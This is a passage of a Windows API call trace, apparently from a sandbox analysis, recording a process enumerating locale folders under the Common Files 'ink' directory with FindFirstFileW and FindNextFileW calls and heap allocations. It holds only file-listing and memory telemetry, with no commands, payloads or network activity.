ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.375] GetProcessHeap () returned 0xaf0000 [0276.375] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.375] GetProcessHeap () returned 0xaf0000 [0276.375] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.375] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0276.679] GetProcessHeap () returned 0xaf0000 [0276.679] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.679] GetProcessHeap () returned 0xaf0000 [0276.679] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.679] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0276.682] GetProcessHeap () returned 0xaf0000 [0276.682] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.682] GetProcessHeap () returned 0xaf0000 [0276.682] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.682] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0276.683] GetProcessHeap () returned 0xaf0000 [0276.683] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.683] GetProcessHeap () returned 0xaf0000 [0276.683] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.683] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0276.683] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="..", cAlternateFileName="")) returned 1 [0276.683] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.683] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.683] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0276.684] GetProcessHeap () returned 0xaf0000 [0276.684] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.684] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0276.684] GetProcessHeap () returned 0xaf0000 [0276.684] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.684] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0276.684] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="..", cAlternateFileName="")) returned 1 [0276.684] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.685] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.685] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0276.685] GetProcessHeap () returned 0xaf0000 [0276.685] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.685] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0276.685] GetProcessHeap () returned 0xaf0000 [0276.685] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.685] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0276.685] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="..", cAlternateFileName="")) returned 1 [0276.685] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.686] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.686] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0276.686] GetProcessHeap () returned 0xaf0000 [0276.686] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.686] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0276.686] GetProcessHeap () returned 0xaf0000 [0276.686] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.686] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0276.687] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="..", cAlternateFileName="")) returned 1 [0276.687] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.687] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.687] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0276.687] GetProcessHeap () returned 0xaf0000 [0276.687] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.687] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0276.687] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0276.687] GetProcessHeap () returned 0xaf0000 [0276.688] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.688] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0276.688] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="..", cAlternateFileName="")) returned 1 [0276.688] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.688] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.688] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0276.688] GetProcessHeap () returned 0xaf0000 [0276.688] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.688] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0276.688] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0276.689] GetProcessHeap () returned 0xaf0000 [0276.689] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.689] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0276.689] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="..", cAlternateFileName="")) returned 1 [0276.689] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.689] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.689] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0276.689] GetProcessHeap () returned 0xaf0000 [0276.689] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.689] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0276.689] GetProcessHeap () returned 0xaf0000 [0276.689] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.689] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.690] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="..", cAlternateFileName="")) returned 1 [0276.690] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x3a9, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.690] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, 